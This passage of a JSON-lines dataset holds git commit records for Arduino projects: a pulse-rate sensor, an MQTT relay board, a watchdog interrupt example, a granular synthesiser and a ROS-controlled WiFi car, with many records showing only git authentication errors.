(millis() > pCalibrationTimeStart + pCalibrationDuration) { \/\/ calibration finished\n pCalibrating = false;\n pAverageValue = int(pCalibrationAverageAmount \/ pCalibrationAverageCount);\n pMaxValueTime = 0;\n pAverageCrossed = false;\n for (int i = 0; i < 6; i++) {\n pLastValues[i] = -1;\n }\n send(MESSAGE_PULSE, -1);\n }\n } else {\n if (!pAverageCrossed && abs(pAverageValue - value) < AVERAGE_TOLERANCE) {\n pAverageCrossed = true;\n } else if (pAverageCrossed && abs(pMaxValue - value) < MAX_TOLERANCE) {\n pAverageCrossed = false;\n if (pMaxValueTime == 0) {\n pMaxValueTime = millis();\n } else {\n for (int i = 4; i >= 0; i--) {\n pLastValues[i + 1] = pLastValues[i];\n }\n pLastValues[0] = int(float(60000) \/ float(millis() - pMaxValueTime));\n int pValue = 0;\n int counter = 0;\n for (int i = 0; i < 6; i++) {\n if (pLastValues[i] >= 0) {\n pValue += pLastValues[i];\n counter++;\n }\n }\n if (counter > 0) {\n pValue \/= counter;\n } else {\n pValue = -1;\n }\n send(MESSAGE_PULSE, pValue);\n pMaxValueTime = millis();\n }\n }\n }\n}\nvoid send(byte flag, int data){\n Serial.write(flag);\n Serial.write(byte(data));\n Serial.write(byte(data >> 8));\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cardiograph.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"827733416fd9358303b471a79756f3b880906437","subject":"setting the programs","message":"setting the programs\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/ProgramExecutor.ino","new_file":"LaundryMachine\/ProgramExecutor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6333907f5ac9b929faabc85381d9ddad9aec52de","subject":"Added missing checks for fuel gauge being present","message":"Added missing checks for fuel gauge being present\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5a4a185b851830d800b5e6eb87e5345e8a7ac3b5","subject":"Make windows builds easy","message":"Make windows builds easy","repos":"juliahuang\/TAMProxy-Firmware,juliahuang\/TAMProxy-Firmware,mitchgu\/TAMProxy-Firmware,skrub-wreckers\/TAMProxy-Firmware,gkanwar\/TAMProxy-Firmware,mitchgu\/TAMProxy-Firmware,skrub-wreckers\/TAMProxy-Firmware,gkanwar\/TAMProxy-Firmware","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"\/\/ this is a hack to make this easy to build on windows. Just open this (blank) sketch\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/src.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7d5d6990f192cac52045e7495660c99a1f87d6f7","subject":"Update src.ino","message":"Update src.ino","repos":"AJama50\/CS207-Project","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/AJama50\/CS207-Project.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"bf2dafdfed0101eaf4be53c735c9f9e6d923e92e","subject":"Add ATTiny version of WS2812B","message":"Add ATTiny version of WS2812B\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"ATTiny-WS2812B\/ATTiny-WS2812B.ino","new_file":"ATTiny-WS2812B\/ATTiny-WS2812B.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0a1aec8faffaff24254e750b2b5bc6e8a9852e39","subject":"Initial version","message":"Initial version\n","repos":"jschaeke\/arduinoHouse","old_file":"arduinoHouse\/mqttRelayWithState\/mqttRelayWithState.ino","new_file":"arduinoHouse\/mqttRelayWithState\/mqttRelayWithState.ino","new_contents":"\n\/*\n * MQTT 32 output pins for driving 2 16-switches relayboards on an arduino mega with ethernet shield.\n * \n * NOTE: the topic is hardcoded: domogik\/in\/relay\/r + relay number : e.g\n * \n * mosquitto_pub -t domogik\/in\/relay\/r1 -m 1 -> turn on\n * mosquitto_pub -t domogik\/in\/relay\/r1 -m 0 -> turn off\n * mosquitto_pub -t domogik\/in\/relay\/r1 -m 2 -> toggle; so turn on again\n * \n By Jeroen Schaeken\n Derived from http:\/\/www.esp8266.com\/viewtopic.php?f=29&t=8746\n \n It connects to an MQTT server then:\n - on 0 switches off relay\n - on 1 switches on relay\n - on 2 switches the state of the relay\n\n It will reconnect to the server if the connection is lost using a blocking\n reconnect function. See the 'mqtt_reconnect_nonblocking' example for how to\n achieve the same result without blocking the main loop.\n\n The current state is stored in EEPROM and restored on bootup\n\n*\/\n#include <Ethernet.h>\n#include <PubSubClient.h>\n#include <EEPROM.h>\n\n\/\/ Update these with values suitable for your network.\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xEE };\nbyte server[] = { 192, 168, 1, 30 };\nbyte ip[] = { 192, 168, 1, 98 };\n\nEthernetClient ethernetClient;\nPubSubClient client(ethernetClient);\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\n\nconst char* outTopic = \"domogik\/relayClient\";\nconst char* inTopic = \"domogik\/in\/relay\/#\";\n\nbool relayStates[] = {\n LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW\n};\n\nint relayPins[] = {\n 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 21, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53\n}; \/\/ an array of pin numbers to which LEDs are attached\nint pinCount = 32;\n\nvoid setup_ethernet() {\n\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Ethernet.begin(mac, ip);\n\n digitalWrite(13, LOW);\n delay(500);\n digitalWrite(13, HIGH);\n delay(500);\n digitalWrite(13, LOW);\n delay(500);\n digitalWrite(13, HIGH);\n\n}\n\nvoid switchRelay(byte* payload, int pos) {\n \/\/ Switch on the LED if an 1 was received as first character\n if ((char)payload[0] == '0') {\n digitalWrite(relayPins[pos], LOW); \/\/ Turn the LED on (Note that LOW is the voltage level\n Serial.println(\"relay_pin -> LOW\");\n relayStates[pos] = LOW;\n EEPROM.update(pos, relayStates[pos]); \/\/ Write state to EEPROM\n } else if ((char)payload[0] == '1') {\n digitalWrite(relayPins[pos], HIGH); \/\/ Turn the LED off by making the voltage HIGH\n Serial.println(\"relay_pin -> HIGH\");\n relayStates[pos] = HIGH;\n EEPROM.update(pos, relayStates[pos]); \/\/ Write state to EEPROM\n } else if ((char)payload[0] == '2') {\n relayStates[pos] = !relayStates[pos];\n digitalWrite(relayPins[pos], relayStates[pos]); \/\/ Turn the LED off by making the voltage HIGH\n Serial.print(\"relay_pin -> switched to \");\n Serial.println(relayStates[pos]);\n EEPROM.update(pos, relayStates[pos]); \/\/ Write state to EEPROM\n }\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n \/\/Comes in as domogik\/in\/relay\/r1 ... domogik\/in\/relay\/r16\n String topicString = String(topic);\n int relayNumber = topicString.substring(18, 20).toInt();\n int posInArray = relayNumber - 1;\n\n switchRelay(payload, posInArray);\n\n}\n\nvoid reconnect() {\n while (!client.connected()) {\n if (client.connect(\"RelayboardClient\")) {\n Serial.println(\"connected\");\n client.publish(outTopic, \"RelayBoard booted\");\n client.subscribe(inTopic);\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n for (int i = 0; i < 5000; i++) {\n delay(1);\n }\n }\n }\n}\n\nvoid setup() {\n\n \/\/Relayboard\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n pinMode(relayPins[thisPin], OUTPUT);\n }\n pinMode(13, OUTPUT);\n\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n relayStates[thisPin] = EEPROM.read(thisPin);\n }\n \/\/restore state relayboard\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n digitalWrite(relayPins[thisPin], relayStates[thisPin]);\n }\n\n digitalWrite(13, LOW); \n delay(500);\n digitalWrite(13, HIGH);\n delay(500);\n\n Serial.begin(115200);\n setup_ethernet(); \n client.setServer(server, 1883);\n client.setCallback(callback);\n}\n\nvoid loop() {\n\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoHouse\/mqttRelayWithState\/mqttRelayWithState.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"9464cf4d9b058f2bc7280db4655041c6216b615f","subject":"Create combining_interrupts.ino","message":"Create combining_interrupts.ino","repos":"jdmgroup\/robotchemistry","old_file":"interrupts\/combining_interrupts.ino","new_file":"interrupts\/combining_interrupts.ino","new_contents":"#include <Arduino.h>\n#include <avr\/wdt.h> \/\/ need for watchdog interrupt\n#include <EEPROM.h> \/\/ need for EEPROM access\n\n\/*\nThree interrupt example\n\nJames H. Bannock, 2017\nNorges teknisk-naturvitenskapelige universitet (NTNU)\n\nThis program uses a timer to read the onboard chip temperature every second, if\nthe temperature is below a limit the watchdog function is reset, else the\nwatchdog will trigger a reset of the Arduino. The program also includes a serial\ninterrupt to read in data from the serial port.\n\n*\/\n\n#define TEMP_LIMIT 36 \/\/ limit to trip watchdog\n\nvoid setup() {\n Serial.begin(9600); (!Serial); \/\/ setup serial port\n pinMode(13,OUTPUT); \/\/ enable LED pin as output\n\n \/\/ EEPROM.read(0) stores a value 'E' if the watchdog reset the Arduino\n if (EEPROM.read(0) == 'E') Serial.println(\"Temperature Limit Exceeded - Reset!\");\n\n \/\/ If the chip if hot, wait for it to cool down, use the LED to indicate\n while(getChipTemp() > TEMP_LIMIT) {\n digitalWrite(13, HIGH); delay(25);\n digitalWrite(13, LOW); delay(25);\n }\n\n \/\/ Chip is now cool, write an 'N', if the Arduino is now reset it wont show\n \/\/ the error message in Line 30\n EEPROM.write(0,'N');\n\n setupWatchdog(); \/\/ abstract watchdog setup\n setupTimer(); \/\/ abstract timer setup\n Serial.println(F(\"My Instrument\")); \/\/ shows that instrument is ready\n}\n\nvoid serialEvent() { \/\/ serial port interrupt\n switch (Serial.read()) { \/\/ read first byte to choose operation\n case 'R': \/\/ run\n runExperiment(); \/\/ go to runExperiment() function\n break;\n }\n}\n\nISR(TIMER1_COMPA_vect) {\n \/\/ toggle LED so we can see the ISR is active\n (digitalRead(13))? digitalWrite(13, LOW) : digitalWrite(13, HIGH);\n\n \/\/ if temperature is less than limit then safe to reset the watchdog\n if (getChipTemp() < TEMP_LIMIT) wdt_reset(); \/\/ resets watchdog\n}\n\nISR(WDT_vect) { \/\/ Interrupt Service Routine (ISR) for WatchDog Timer (WDT)\n EEPROM.write(0,'E'); \/\/ store an 'E' to trigger an error message upon reset\n \/\/ at line 30\n}\n\nvoid loop() {}\n\nvoid setupWatchdog() {\n cli(); \/\/ turn off interrupts\n wdt_reset(); \/\/ reset the watchdog before making changes\n WDTCSR |= (1<<WDCE) | (1<<WDE); \/\/ needed to allow settings to be changed\n\n \/\/ WDIE = WatchDog Interrupt enable\n \/\/ WDE = WatchDog System reset enable\n \/\/ WDP = WatchDog Prescaler (configure these for different timings)\n \/\/ combination of WDP0, WDP1 and WDP2 enabled gives a timer of 2 s\n WDTCSR = (1<<WDIE) | (1<<WDE) | (0<<WDP3) | (1<<WDP2) | (1<<WDP1) | (1<<WDP0);\n sei(); \/\/ turn on interrupts\n}\n\nvoid setupTimer() {\n noInterrupts(); \/\/ turn off interrupts\n TCCR1A = 0; \/\/ reset Timer\/Counter Control Register A for Timer 1\n TCCR1B = 0; \/\/ reset Timer\/Counter Control Register B for Timer 1\n\n OCR1A = 15625; \/\/ set a timer value equivalent to 1 s\n\n \/\/ enable 1\/1024 prescaling\n TCCR1B |= (1 << CS10);\n TCCR1B |= (1 << CS12);\n\n TCCR1B |= (1 << WGM12); \/\/ enable Clear Timer on Compare (CTC) mode\n TIMSK1 |= (1 << OCIE1A); \/\/ enable ISR\n interrupts(); \/\/ turn on interrupts\n}\n\nvoid runExperiment() { \/\/ dummy experiment\n for (int process = 0; process < 100; process++) { \/\/ 100 repeats\n Serial.print(\"Process \"); Serial.println(process); \/\/ print proces number\n \/\/ print chip temperature so we can see it increase\n Serial.print(\"Current Chip Temp: \"); Serial.println(getChipTemp());\n delay(1000); \/\/ delay to simulate other functions\n }\n}\n\nfloat getChipTemp() {\n \/\/ code required to acquire chip temperature from Atmel 328\n ADMUX = (_BV(REFS1) | _BV(REFS0) | _BV(MUX3)); \/\/ setup MUX for pin A8\n ADCSRA |= _BV(ADEN); \/\/ enable ADC enable (ADEN) in ADC Control and Status\n \/\/ Register A (ADCSRA)\n delay(20);\n\n ADCSRA |= _BV(ADSC); \/\/ start ADC conversion\n\n while (bit_is_set(ADCSRA,ADSC)); \/\/ wait fo ADSC to go low, indicating end of\n \/\/ ADC conversion\n return ((ADCW - 324.31 ) \/ 1.22); \/\/ converts ADC value to temperature\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'interrupts\/combining_interrupts.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"80e6d3eda2da54790adc1da0e787f266f9b26d8d","subject":"Update SlaveModule.ino","message":"Update SlaveModule.ino","repos":"PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot,Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot","old_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SlaveModule\/SlaveModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"109d61036d0afb9b824572fb56492626a80fbcee","subject":"Added Component ID to ADEM4 rev 9","message":"Added Component ID to ADEM4 rev 9\n","repos":"SynerconTechnologies\/SmartSensorSimulator,SynerconTechnologies\/SmartSensorSimulator","old_file":"Arduino Sketch Library\/SSS_ADEM4_Rev9_Mega\/SSS_ADEM4_Rev9_Mega.ino","new_file":"Arduino Sketch Library\/SSS_ADEM4_Rev9_Mega\/SSS_ADEM4_Rev9_Mega.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SynerconTechnologies\/SmartSensorSimulator.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2831173cee92a6fdf891405c8bf3cef5c36839c1","subject":"Adding modified Audino code.","message":"Adding modified Audino code.\n","repos":"seanbechhofer\/arduino","old_file":"code\/AuduinoSKB\/AuduinoSKB.ino","new_file":"code\/AuduinoSKB\/AuduinoSKB.ino","new_contents":"\/\/ Auduino, the Lo-Fi granular synthesiser\n\/\/\n\/\/ by Peter Knight, Tinker.it http:\/\/tinker.it\n\/\/\n\/\/ Help: http:\/\/code.google.com\/p\/tinkerit\/wiki\/Auduino\n\/\/ More help: http:\/\/groups.google.com\/group\/auduino\n\/\/\n\/\/ Analog in 0: Grain 1 pitch\n\/\/ Analog in 1: Grain 2 decay\n\/\/ Analog in 2: Grain 1 decay\n\/\/ Analog in 3: Grain 2 pitch\n\/\/ Analog in 4: Grain repetition frequency\n\/\/\n\/\/ Digital 3: Audio out (Digital 11 on ATmega8)\n\/\/\n\/\/ Changelog:\n\/\/ 19 Nov 2008: Added support for ATmega8 boards\n\/\/ 21 Mar 2009: Added support for ATmega328 boards\n\/\/ 7 Apr 2009: Fixed interrupt vector for ATmega328 boards\n\/\/ 8 Apr 2009: Added support for ATmega1280 boards (Arduino Mega)\n\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\nuint16_t syncPhaseAcc;\nuint16_t syncPhaseInc;\nuint16_t grainPhaseAcc;\nuint16_t grainPhaseInc;\nuint16_t grainAmp;\nuint8_t grainDecay;\nuint16_t grain2PhaseAcc;\nuint16_t grain2PhaseInc;\nuint16_t grain2Amp;\nuint8_t grain2Decay;\n\n\/\/ Map Analogue channels\n#define SYNC_CONTROL (4)\n#define GRAIN_FREQ_CONTROL (0)\n#define GRAIN_DECAY_CONTROL (2)\n#define GRAIN2_FREQ_CONTROL (3)\n#define GRAIN2_DECAY_CONTROL (1)\n\n\/\/ Pin to select pentatonic\/smooth\n#define PENTATONIC_PIN 8\n\n\/\/ Changing these will also requires rewriting audioOn()\n\n#if defined(__AVR_ATmega8__)\n\/\/\n\/\/ On old ATmega8 boards.\n\/\/ Output is on pin 11\n\/\/\n#define LED_PIN 13\n#define LED_PORT PORTB\n#define LED_BIT 5\n#define PWM_PIN 11\n#define PWM_VALUE OCR2\n#define PWM_INTERRUPT TIMER2_OVF_vect\n#elif defined(__AVR_ATmega1280__)\n\/\/\n\/\/ On the Arduino Mega\n\/\/ Output is on pin 3\n\/\/\n#define LED_PIN 13\n#define LED_PORT PORTB\n#define LED_BIT 7\n#define PWM_PIN 3\n#define PWM_VALUE OCR3C\n#define PWM_INTERRUPT TIMER3_OVF_vect\n#else\n\/\/\n\/\/ For modern ATmega168 and ATmega328 boards\n\/\/ Output is on pin 3\n\/\/\n#define PWM_PIN 3\n#define PWM_VALUE OCR2B\n#define LED_PIN 13\n#define LED_PORT PORTB\n#define LED_BIT 5\n#define PWM_INTERRUPT TIMER2_OVF_vect\n#endif\n\nunsigned char pentatonic;\n\n\/\/ Smooth logarithmic mapping\n\/\/\nuint16_t antilogTable[] = {\n 64830, 64132, 63441, 62757, 62081, 61413, 60751, 60097, 59449, 58809, 58176, 57549, 56929, 56316, 55709, 55109,\n 54515, 53928, 53347, 52773, 52204, 51642, 51085, 50535, 49991, 49452, 48920, 48393, 47871, 47356, 46846, 46341,\n 45842, 45348, 44859, 44376, 43898, 43425, 42958, 42495, 42037, 41584, 41136, 40693, 40255, 39821, 39392, 38968,\n 38548, 38133, 37722, 37316, 36914, 36516, 36123, 35734, 35349, 34968, 34591, 34219, 33850, 33486, 33125, 32768\n};\nuint16_t mapPhaseInc(uint16_t input) {\n return (antilogTable[input & 0x3f]) >> (input >> 6);\n}\n\n\/\/ Stepped chromatic mapping\n\/\/\nuint16_t midiTable[] = {\n 17, 18, 19, 20, 22, 23, 24, 26, 27, 29, 31, 32, 34, 36, 38, 41, 43, 46, 48, 51, 54, 58, 61, 65, 69, 73,\n 77, 82, 86, 92, 97, 103, 109, 115, 122, 129, 137, 145, 154, 163, 173, 183, 194, 206, 218, 231,\n 244, 259, 274, 291, 308, 326, 346, 366, 388, 411, 435, 461, 489, 518, 549, 581, 616, 652, 691,\n 732, 776, 822, 871, 923, 978, 1036, 1097, 1163, 1232, 1305, 1383, 1465, 1552, 1644, 1742,\n 1845, 1955, 2071, 2195, 2325, 2463, 2610, 2765, 2930, 3104, 3288, 3484, 3691, 3910, 4143,\n 4389, 4650, 4927, 5220, 5530, 5859, 6207, 6577, 6968, 7382, 7821, 8286, 8779, 9301, 9854,\n 10440, 11060, 11718, 12415, 13153, 13935, 14764, 15642, 16572, 17557, 18601, 19708, 20879,\n 22121, 23436, 24830, 26306\n};\nuint16_t mapMidi(uint16_t input) {\n return (midiTable[(1023 - input) >> 3]);\n}\n\n\/\/ Stepped Pentatonic mapping\n\/\/\nuint16_t pentatonicTable[54] = {\n 0, 19, 22, 26, 29, 32, 38, 43, 51, 58, 65, 77, 86, 103, 115, 129, 154, 173, 206, 231, 259, 308, 346,\n 411, 461, 518, 616, 691, 822, 923, 1036, 1232, 1383, 1644, 1845, 2071, 2463, 2765, 3288,\n 3691, 4143, 4927, 5530, 6577, 7382, 8286, 9854, 11060, 13153, 14764, 16572, 19708, 22121, 26306\n};\n\nuint16_t mapPentatonic(uint16_t input) {\n uint8_t value = (1023 - input) \/ (1024 \/ 53);\n \/\/ uint8_t value = (1023-input) \/ (1024\/19);\n return (pentatonicTable[value]);\n}\n\n\nvoid audioOn() {\n#if defined(__AVR_ATmega8__)\n \/\/ ATmega8 has different registers\n TCCR2 = _BV(WGM20) | _BV(COM21) | _BV(CS20);\n TIMSK = _BV(TOIE2);\n#elif defined(__AVR_ATmega1280__)\n TCCR3A = _BV(COM3C1) | _BV(WGM30);\n TCCR3B = _BV(CS30);\n TIMSK3 = _BV(TOIE3);\n#else\n \/\/ Set up PWM to 31.25kHz, phase accurate\n TCCR2A = _BV(COM2B1) | _BV(WGM20);\n TCCR2B = _BV(CS20);\n TIMSK2 = _BV(TOIE2);\n#endif\n}\n\n\nvoid setup() {\n pinMode(PWM_PIN, OUTPUT);\n audioOn();\n pinMode(LED_PIN, OUTPUT);\n\n\n \/\/ set pin mode and turn on pull up so that default mode\n \/\/ is PENTATONIC\n pinMode(PENTATONIC_PIN, INPUT_PULLUP);\n}\n\nvoid loop() {\n \/\/ The loop is pretty simple - it just updates the parameters for the oscillators.\n \/\/\n \/\/ Avoid using any functions that make extensive use of interrupts, or turn interrupts off.\n \/\/ They will cause clicks and poops in the audio.\n\n \/\/ Reads from input to determine whether or not to go pentatonic or smooth.\n\n pentatonic = digitalRead(PENTATONIC_PIN);\n if (pentatonic) {\n \/\/ Stepped pentatonic E mapping: D, E, G, A, B\n syncPhaseInc = mapPentatonic(analogRead(SYNC_CONTROL));\n } else {\n \/\/ Smooth frequency mapping\n syncPhaseInc = mapPhaseInc(analogRead(SYNC_CONTROL)) \/ 4;\n }\n\n\n \/\/ Stepped mapping to MIDI notes: C, Db, D, Eb, E, F...\n \/\/ syncPhaseInc = mapMidi(analogRead(SYNC_CONTROL));\n\n \/\/ Stepped pentatonic mapping: D, E, G, A, B\n \/\/ syncPhaseInc = mapPentatonic(analogRead(SYNC_CONTROL));\n\n grainPhaseInc = mapPhaseInc(analogRead(GRAIN_FREQ_CONTROL)) \/ 2;\n grainDecay = analogRead(GRAIN_DECAY_CONTROL) \/ 8;\n grain2PhaseInc = mapPhaseInc(analogRead(GRAIN2_FREQ_CONTROL)) \/ 2;\n grain2Decay = analogRead(GRAIN2_DECAY_CONTROL) \/ 4;\n}\n\nSIGNAL(PWM_INTERRUPT)\n{\n uint8_t value;\n uint16_t output;\n\n syncPhaseAcc += syncPhaseInc;\n if (syncPhaseAcc < syncPhaseInc) {\n \/\/ Time to start the next grain\n grainPhaseAcc = 0;\n grainAmp = 0x7fff;\n grain2PhaseAcc = 0;\n grain2Amp = 0x7fff;\n LED_PORT ^= 1 << LED_BIT; \/\/ Faster than using digitalWrite\n }\n\n \/\/ Increment the phase of the grain oscillators\n grainPhaseAcc += grainPhaseInc;\n grain2PhaseAcc += grain2PhaseInc;\n\n \/\/ Convert phase into a triangle wave\n value = (grainPhaseAcc >> 7) & 0xff;\n if (grainPhaseAcc & 0x8000) value = ~value;\n \/\/ Multiply by current grain amplitude to get sample\n output = value * (grainAmp >> 8);\n\n \/\/ Repeat for second grain\n value = (grain2PhaseAcc >> 7) & 0xff;\n if (grain2PhaseAcc & 0x8000) value = ~value;\n output += value * (grain2Amp >> 8);\n\n \/\/ Make the grain amplitudes decay by a factor every sample (exponential decay)\n grainAmp -= (grainAmp >> 8) * grainDecay;\n grain2Amp -= (grain2Amp >> 8) * grain2Decay;\n\n \/\/ Scale output to the available range, clipping if necessary\n output >>= 9;\n if (output > 255) output = 255;\n\n \/\/ Output to PWM (this is faster than using analogWrite)\n PWM_VALUE = output;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/AuduinoSKB\/AuduinoSKB.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5f0ff00a119282de25d6f8811ce8e92848da7b76","subject":"ROS cliente for Car with NodeMCU DC motor shield and encoders","message":"ROS cliente for Car with NodeMCU DC motor shield and encoders\n","repos":"agnunez\/espros","old_file":"CarEspRos\/CarEspRos.ino","new_file":"CarEspRos\/CarEspRos.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ros.h>\n#include <std_msgs\/String.h>\n#include <std_msgs\/Int16.h>\n#include <std_msgs\/Float64.h>\n\n#define DEBUG 1\n\nint spd=800;\nint lpwm=0;\nint rpwm=0;\nint len=300; \/\/ period in ms\nint lmc=0; \/\/ left motor counter\nint rmc=0; \/\/ right motor counter\nint lmc0=0; \/\/ last encoder value \nint rmc0=0;\nint ldir=1; \/\/ left motor direction\nint rdir=1;\nint lv=0; \/\/ left motor actual speed\nint rv=0; \/\/ measured in n tics\/timer period\nint ltp=0; \/\/ left motor target position \nint rtp=0;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WiFi Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst char* ssid = \"***\";\nconst char* password = \"***\";\n\nIPAddress server(192, 168, 1, 100);\nIPAddress ip_address;\nint status = WL_IDLE_STATUS;\n\nWiFiClient client;\n\nclass WiFiHardware {\n\n public:\n WiFiHardware() {};\n\n void init() {\n \/\/ do your initialization here. this probably includes TCP server\/client setup\n client.connect(server, 11411);\n }\n\n \/\/ read a byte from the serial port. -1 = failure\n int read() {\n \/\/ implement this method so that it reads a byte from the TCP connection and returns it\n \/\/ you may return -1 is there is an error; for example if the TCP connection is not open\n return client.read(); \/\/will return -1 when it will works\n }\n\n \/\/ write data to the connection to ROS\n void write(uint8_t* data, int length) {\n \/\/ implement this so that it takes the arguments and writes or prints them to the TCP connection\n for(int i=0; i<length; i++)\n client.write(data[i]);\n }\n\n \/\/ returns milliseconds since start of program\n unsigned long time() {\n return millis(); \/\/ easy; did this one for you\n }\n};\n\nvoid stop(void)\n{\n analogWrite(D1, 0);\n analogWrite(D2, 0);\n}\n \nvoid forward(void)\n{\n analogWrite(D1, lpwm);\n analogWrite(D2, rpwm);\n digitalWrite(D3, HIGH);\n digitalWrite(D4, HIGH);\n delay(len);\n stop();\n}\n \nvoid backward(void)\n{\n analogWrite(D1, lpwm);\n analogWrite(D2, rpwm);\n digitalWrite(D3, LOW);\n digitalWrite(D4, LOW);\n delay(len);\n stop();\n}\n \nvoid left(void)\n{\n analogWrite(D1, lpwm);\n analogWrite(D2, rpwm);\n digitalWrite(D3, LOW);\n digitalWrite(D4, HIGH);\n delay(len);\n stop();\n}\n \nvoid right(void)\n{\n analogWrite(D1, lpwm);\n analogWrite(D2, rpwm);\n digitalWrite(D3, HIGH);\n digitalWrite(D4, LOW);\n delay(len);\n stop();\n}\n \nvoid lencode(){\n lmc=lmc+ldir;\n}\nvoid rencode(){\n rmc=rmc+rdir;\n}\nvoid tic(void){\n lv=lmc-lmc0;\n lmc0=lmc;\n rv=rmc-rmc0;\n rmc0=rmc0;\n}\n\nvoid leftCallback(const std_msgs::Int16& msg) {\n len = abs(msg.data);\n ldir=-1;\n rdir=1;\n left();\n}\nvoid rightCallback(const std_msgs::Int16& msg) {\n len = abs(msg.data);\n ldir=1;\n rdir=-1;\n right();\n}\n\nvoid forwardCallback(const std_msgs::Int16& msg) {\n len = abs(msg.data);\n ldir=1;\n rdir=1; \n forward();\n}\n\nvoid backwardCallback(const std_msgs::Int16& msg) {\n len = abs(msg.data);\n ldir=-1;\n rdir=-1;\n backward();\n}\n\nstd_msgs::String str_msg;\nstd_msgs::Int16 int_msg;\nros::Publisher leftenc(\"\/car\/leftencoder\", &int_msg);\nros::Publisher rightenc(\"\/car\/rightencoder\", &int_msg);\n\nros::Subscriber<std_msgs::Int16> sub_f(\"\/car\/forward\", &forwardCallback);\nros::Subscriber<std_msgs::Int16> sub_b(\"\/car\/backward\", &backwardCallback);\nros::Subscriber<std_msgs::Int16> sub_l(\"\/car\/left\", &leftCallback);\nros::Subscriber<std_msgs::Int16> sub_r(\"\/car\/right\", &rightCallback);\nros::NodeHandle_<WiFiHardware> nh;\n\nvoid setupWiFi()\n{\n WiFi.begin(ssid, password);\n Serial.print(\"\\nConnecting to \"); Serial.println(ssid);\n uint8_t i = 0;\n while (WiFi.status() != WL_CONNECTED && i++ < 20) delay(500);\n if(i == 21){\n Serial.print(\"Could not connect 